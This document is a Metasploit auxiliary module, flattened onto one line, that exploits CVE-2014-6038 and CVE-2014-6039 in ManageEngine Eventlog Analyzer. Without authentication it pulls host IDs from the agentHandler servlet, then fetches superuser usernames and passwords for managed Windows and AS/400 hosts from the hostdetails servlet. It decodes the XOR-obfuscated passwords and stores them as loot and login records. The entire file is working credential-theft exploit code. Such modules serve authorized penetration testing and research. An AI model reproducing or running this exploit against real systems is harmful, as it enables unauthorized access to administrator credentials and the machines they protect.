## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure', 'Description' => %q{ ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts. This module abuses both vulnerabilities to collect all the available usernames and passwords. First the agentHandler servlet is abused to get the hostid and slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7, the TARGETURI has to be prepended with /event. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-6038' ], [ 'CVE', '2014-6039' ], [ 'OSVDB', '114342' ], [ 'OSVDB', '114344' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ] ], 'DisclosureDate' => 'Nov 5 2014')) register_options( [ Opt::RPORT(8400), OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']), ], self.class) end def decode_password(encoded_password) password_xor = Rex::Text.decode_base64(encoded_password) password = '' password_xor.bytes.each do |byte| password << (byte ^ 0x30) end return password end def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'agentHandler'), 'method' =>'GET', 'vars_get' => { 'mode' => 'getTableData', 'table' => 'HostDetails' } }) unless res && res.code == 200 fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet") return end # When passwords have digits the XML parsing will fail. # Replace with an empty password attribute so that we know the device has a password # and therefore we want to add it to our host list. xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6)) begin doc = REXML::Document.new(xml) rescue fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}") end slid_host_ary = [] doc.elements.each('Details/HostDetails') do |ele| if ele.attributes['password'] # If an element doesn't have a password, then we don't care about it. # Otherwise store the slid and host_id to use later. slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']] end end cred_table = Rex::Text::Table.new( 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials', 'Indent' => 1, 'Columns' => [ 'Host', 'Type', 'SubType', 'Domain', 'Username', 'Password', ] ) slid_host_ary.each do |host| res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'hostdetails'), 'method' =>'GET', 'vars_get' => { 'slid' => host[0], 'hostid' => host[1] } }) unless res && res.code == 200 fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet") end begin doc = REXML::Document.new(res.body) rescue fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}") end doc.elements.each('Details/Hosts') do |ele| # Add an empty string if a variable doesn't exist, we have to check it # somewhere and it's easier to do it here. host_ipaddress = ele.attributes['host_ipaddress'] || '' ele.elements.each('HostDetails') do |details| domain_name = details.attributes['domain_name'] || '' username = details.attributes['username'] || '' password_encoded = details.attributes['password'] || '' password = decode_password(password_encoded) type = details.attributes['type'] || '' subtype = details.attributes['subtype'] || '' unless type =~ /Windows/ || subtype =~ /Windows/ # With AS/400 we get some garbage in the domain name even though it doesn't exist domain_name = "" end msg = "Got login to #{host_ipaddress} | running " msg << type << (subtype != '' ? " | #{subtype}" : '') msg << ' | username: ' msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username) msg << " | password: #{password}" print_good(msg) cred_table << [host_ipaddress, type, subtype, domain_name, username, password] if type == 'Windows' service_name = 'epmap' port = 135 elsif type == 'IBM AS/400' service_name = 'as-servermap' port = 449 else next end credential_core = report_credential_core({ password: password, username: username, }) host_login_data = { address: host_ipaddress, service_name: service_name, workspace_id: myworkspace_id, protocol: 'tcp', port: port, core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } create_credential_login(host_login_data) end end end print_line print_line("#{cred_table}") loot_name = 'manageengine.eventlog.managed_hosts.creds' loot_type = 'text/csv' loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv' loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc) print_status "Credentials saved in: #{p}" end def report_credential_core(cred_opts={}) # Set up the has for our Origin service origin_service_data = { address: rhost, port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_type: :password, private_data: cred_opts[:password], username: cred_opts[:username] } credential_data.merge!(origin_service_data) create_credential(credential_data) end end